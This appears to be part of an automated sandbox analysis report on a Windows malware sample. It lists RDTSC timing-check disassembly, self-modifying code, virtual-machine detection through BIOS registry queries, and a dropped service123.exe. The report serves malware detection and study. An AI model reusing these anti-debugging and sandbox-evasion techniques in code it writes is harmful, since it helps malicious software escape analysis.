Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B1254 second address: 70B12AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushfd 0x00000006 jmp 00007FB39CDCA20Ch 0x0000000b adc ch, 00000018h 0x0000000e jmp 00007FB39CDCA20Bh 0x00000013 popfd 0x00000014 popad 0x00000015 mov dword ptr [edx+08h], eax 0x00000018 pushad 0x00000019 call 00007FB39CDCA214h 0x0000001e mov edx, ecx 0x00000020 pop eax 0x00000021 mov cl, bl 0x00000023 popad 0x00000024 mov eax, dword ptr [esi+0Ch] 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FB39CDCA210h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B12AB second address: 70B12B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B12B1 second address: 70B132C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop edx 0x00000005 mov dl, al 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [edx+0Ch], eax 0x0000000d jmp 00007FB39CDCA20Bh 0x00000012 mov eax, dword ptr [esi+10h] 0x00000015 jmp 00007FB39CDCA216h 0x0000001a mov dword ptr [edx+10h], eax 0x0000001d pushad 0x0000001e popad 0x0000001f mov eax, dword ptr [esi+14h] 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FB39CDCA215h 0x00000029 xor si, D786h 0x0000002e jmp 00007FB39CDCA211h 0x00000033 popfd 0x00000034 mov esi, 20F05137h 0x00000039 popad 0x0000003a mov dword ptr [edx+14h], eax 0x0000003d pushad 0x0000003e mov esi, 7852302Fh 0x00000043 push eax 0x00000044 push edx 0x00000045 mov dx, ax 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B132C second address: 70B13C5 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esi+18h] 0x0000000a jmp 00007FB39CE8BFD8h 0x0000000f mov dword ptr [edx+18h], eax 0x00000012 pushad 0x00000013 movzx esi, dx 0x00000016 mov ch, dh 0x00000018 popad 0x00000019 mov eax, dword ptr [esi+1Ch] 0x0000001c pushad 0x0000001d mov ax, 8CF7h 0x00000021 pushfd 0x00000022 jmp 00007FB39CE8BFCCh 0x00000027 or ch, FFFFFFE8h 0x0000002a jmp 00007FB39CE8BFCBh 0x0000002f popfd 0x00000030 popad 0x00000031 mov dword ptr [edx+1Ch], eax 0x00000034 jmp 00007FB39CE8BFD6h 0x00000039 mov eax, dword ptr [esi+20h] 0x0000003c jmp 00007FB39CE8BFD0h 0x00000041 mov dword ptr [edx+20h], eax 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007FB39CE8BFD7h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B13C5 second address: 70B13F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+24h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov dh, 41h 0x00000011 mov eax, 5D9FA99Bh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B13F0 second address: 70B141F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [edx+24h], eax 0x0000000c jmp 00007FB39CE8BFCEh 0x00000011 mov eax, dword ptr [esi+28h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ebx, ecx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B141F second address: 70B1425 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B1425 second address: 70B14D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [edx+28h], eax 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FB39CE8BFD4h 0x00000015 adc ecx, 65362058h 0x0000001b jmp 00007FB39CE8BFCBh 0x00000020 popfd 0x00000021 mov bh, ah 0x00000023 popad 0x00000024 mov ecx, dword ptr [esi+2Ch] 0x00000027 jmp 00007FB39CE8BFCBh 0x0000002c mov dword ptr [edx+2Ch], ecx 0x0000002f jmp 00007FB39CE8BFD6h 0x00000034 mov ax, word ptr [esi+30h] 0x00000038 pushad 0x00000039 mov edi, eax 0x0000003b push ecx 0x0000003c push edx 0x0000003d pop ecx 0x0000003e pop edi 0x0000003f popad 0x00000040 mov word ptr [edx+30h], ax 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 pushfd 0x00000048 jmp 00007FB39CE8BFCDh 0x0000004d add eax, 1A11E806h 0x00000053 jmp 00007FB39CE8BFD1h 0x00000058 popfd 0x00000059 mov ah, F7h 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B14D3 second address: 70B14FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FB39CDCA218h 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ax, word ptr [esi+32h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B14FE second address: 70B1504 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B1504 second address: 70B150A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B150A second address: 70B1587 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov word ptr [edx+32h], ax 0x0000000c pushad 0x0000000d mov edx, 55F7F4AAh 0x00000012 jmp 00007FB39CE8BFCBh 0x00000017 popad 0x00000018 mov eax, dword ptr [esi+34h] 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007FB39CE8BFD0h 0x00000022 add cx, AE98h 0x00000027 jmp 00007FB39CE8BFCBh 0x0000002c popfd 0x0000002d popad 0x0000002e mov dword ptr [edx+34h], eax 0x00000031 jmp 00007FB39CE8BFD6h 0x00000036 test ecx, 00000700h 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FB39CE8BFD7h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B1587 second address: 70B158D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B158D second address: 70B1591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B1591 second address: 70B15EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA20Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FB40BF5837Bh 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FB39CDCA214h 0x00000018 xor eax, 2325BDB8h 0x0000001e jmp 00007FB39CDCA20Bh 0x00000023 popfd 0x00000024 mov eax, 5331C1EFh 0x00000029 popad 0x0000002a or dword ptr [edx+38h], FFFFFFFFh 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FB39CDCA20Ch 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B15EA second address: 70B15F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B15F9 second address: 70B16D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or dword ptr [edx+3Ch], FFFFFFFFh 0x0000000d pushad 0x0000000e push esi 0x0000000f pushfd 0x00000010 jmp 00007FB39CDCA213h 0x00000015 add al, 0000003Eh 0x00000018 jmp 00007FB39CDCA219h 0x0000001d popfd 0x0000001e pop eax 0x0000001f pushfd 0x00000020 jmp 00007FB39CDCA211h 0x00000025 add ah, 00000076h 0x00000028 jmp 00007FB39CDCA211h 0x0000002d popfd 0x0000002e popad 0x0000002f or dword ptr [edx+40h], FFFFFFFFh 0x00000033 pushad 0x00000034 call 00007FB39CDCA20Ch 0x00000039 push esi 0x0000003a pop edi 0x0000003b pop ecx 0x0000003c jmp 00007FB39CDCA217h 0x00000041 popad 0x00000042 pop esi 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 pushfd 0x00000047 jmp 00007FB39CDCA20Bh 0x0000004c adc cx, 4F0Eh 0x00000051 jmp 00007FB39CDCA219h 0x00000056 popfd 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B16D3 second address: 70B16D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B16D8 second address: 70B1701 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA217h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a pushad 0x0000000b movzx ecx, di 0x0000000e mov ecx, ebx 0x00000010 popad 0x00000011 leave 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B1701 second address: 70B1705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B1705 second address: 70B1713 instructions: 0x00000000 rdtsc 0x00000002 mov edi, 06D3D7E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b mov cx, di 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70B1713 second address: 70B1717 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70E0DD6 second address: 70E0DDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70E0DDC second address: 70E0DFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007FB39CE8BFD5h 0x00000011 pop eax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70E0DFF second address: 70E0E05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A0A31 second address: 70A0A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FB39CE8BFD2h 0x0000000a sbb ah, FFFFFF98h 0x0000000d jmp 00007FB39CE8BFCBh 0x00000012 popfd 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov edi, 570C4A12h 0x0000001e pushfd 0x0000001f jmp 00007FB39CE8BFD3h 0x00000024 or ecx, 39E3720Eh 0x0000002a jmp 00007FB39CE8BFD9h 0x0000002f popfd 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 706001F second address: 7060025 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7060025 second address: 706003C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB39CE8BFD3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7060642 second address: 7060648 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7060648 second address: 706064C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 706064C second address: 7060650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7060650 second address: 7060668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FB39CE8BFCDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7060668 second address: 70606A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 45066152h 0x00000008 movsx edx, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 jmp 00007FB39CDCA210h 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 mov edi, 7325E380h 0x0000001e mov bh, B7h 0x00000020 popad 0x00000021 pop ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FB39CDCA20Ah 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70606A3 second address: 70606A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7060B3A second address: 7060B40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A094B second address: 70A0951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A0951 second address: 70A0956 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A0956 second address: 70A0972 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 28h 0x00000005 jmp 00007FB39CE8BFCAh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f pushad 0x00000010 push esi 0x00000011 pop edx 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A0972 second address: 70A09B1 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB39CDCA20Bh 0x00000008 xor si, B1CEh 0x0000000d jmp 00007FB39CDCA219h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FB39CDCA20Ch 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A09B1 second address: 70A09BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 34BA9AF4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A09BB second address: 70A09ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007FB39CDCA219h 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB39CDCA20Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A09ED second address: 70A0A01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 mov ah, DEh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov di, cx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A0A01 second address: 70A0A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7090029 second address: 709005B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 mov esi, 062DCEAFh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FB39CE8BFD2h 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FB39CE8BFCEh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 709005B second address: 7090113 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 0CB525B4h 0x00000008 jmp 00007FB39CDCA20Dh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, ebp 0x00000011 jmp 00007FB39CDCA20Eh 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 mov dh, ch 0x0000001b mov edi, 4EF719FEh 0x00000020 popad 0x00000021 and esp, FFFFFFF0h 0x00000024 jmp 00007FB39CDCA215h 0x00000029 sub esp, 44h 0x0000002c pushad 0x0000002d call 00007FB39CDCA20Ch 0x00000032 pushfd 0x00000033 jmp 00007FB39CDCA212h 0x00000038 or ax, F828h 0x0000003d jmp 00007FB39CDCA20Bh 0x00000042 popfd 0x00000043 pop ecx 0x00000044 pushfd 0x00000045 jmp 00007FB39CDCA219h 0x0000004a sbb ecx, 5BF2D846h 0x00000050 jmp 00007FB39CDCA211h 0x00000055 popfd 0x00000056 popad 0x00000057 xchg eax, ebx 0x00000058 pushad 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7090113 second address: 7090132 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov cl, B6h 0x00000008 popad 0x00000009 push eax 0x0000000a jmp 00007FB39CE8BFCEh 0x0000000f xchg eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7090132 second address: 7090136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7090136 second address: 7090153 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 7090283 second address: 709028A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, bh 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 709028A second address: 70902B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov edi, dword ptr [ebp+08h] 0x0000000a jmp 00007FB39CE8BFD4h 0x0000000f mov dword ptr [esp+24h], 00000000h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70902B6 second address: 70902D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70902D3 second address: 70902FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lock bts dword ptr [edi], 00000000h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB39CE8BFCDh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70902FC second address: 709030C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB39CDCA20Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A0AD9 second address: 70A0AED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A0AED second address: 70A0B4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA20Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FB39CDCA214h 0x00000011 add ch, FFFFFFA8h 0x00000014 jmp 00007FB39CDCA20Bh 0x00000019 popfd 0x0000001a push eax 0x0000001b push edx 0x0000001c pushfd 0x0000001d jmp 00007FB39CDCA216h 0x00000022 sbb al, 00000008h 0x00000025 jmp 00007FB39CDCA20Bh 0x0000002a popfd 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A087C second address: 70A08D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFCDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov cl, dh 0x0000000d pushfd 0x0000000e jmp 00007FB39CE8BFD8h 0x00000013 adc ch, FFFFFFD8h 0x00000016 jmp 00007FB39CE8BFCBh 0x0000001b popfd 0x0000001c popad 0x0000001d xchg eax, ebp 0x0000001e jmp 00007FB39CE8BFD6h 0x00000023 mov ebp, esp 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A08D9 second address: 70A08DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A08DD second address: 70A08E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A08E3 second address: 70A08F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB39CDCA20Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A0D6D second address: 70A0DA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CE8BFD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB39CE8BFD8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A0DA7 second address: 70A0DAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A0DAB second address: 70A0DB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A0DB1 second address: 70A0DF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA20Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c call 00007FB39CDCA20Ch 0x00000011 pop ecx 0x00000012 pop edi 0x00000013 mov eax, 214EEB67h 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FB39CDCA219h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A0DF6 second address: 70A0E06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB39CE8BFCCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 70A0E06 second address: 70A0E1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB39CDCA20Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 10E0C19 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: F42622 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: F44B42 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 1170AD5 instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\Desktop\file.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1186 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1197 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1389 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1196 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1205 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1200 Jump to behavior
Source: C:\Users\user\Desktop\file.exe Window / User API: threadDelayed 1186 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Window / User API: threadDelayed 6147 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Window / User API: threadDelayed 3852 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\service123.exe API coverage: 1.2 %
